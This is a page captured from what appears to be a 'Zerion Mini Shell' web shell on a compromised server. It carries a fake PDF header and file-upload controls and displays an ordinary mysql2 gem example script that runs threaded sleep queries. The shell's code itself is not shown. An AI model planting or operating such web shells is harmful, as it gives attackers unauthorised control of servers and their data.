%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/rs/ruby/default/lib/ruby/gems/2.5/gems/mysql2-0.5.2/examples/
Upload File :
Create Path :
Current File : //home/rs/ruby/default/lib/ruby/gems/2.5/gems/mysql2-0.5.2/examples/threaded.rb

$LOAD_PATH.unshift 'lib'
require 'mysql2'
require 'timeout'

# Should never exceed worst case 3.5 secs across all 20 threads
Timeout.timeout(3.5) do
  Array.new(20) do
    Thread.new do
      overhead = rand(3)
      puts ">> thread #{Thread.current.object_id} query, #{overhead} sec overhead"
      # 3 second overhead per query
      Mysql2::Client.new(host: "localhost", username: "root").query("SELECT sleep(#{overhead}) as result")
      puts "<< thread #{Thread.current.object_id} result, #{overhead} sec overhead"
    end
  end.each(&:join)
end

Zerion Mini Shell 1.0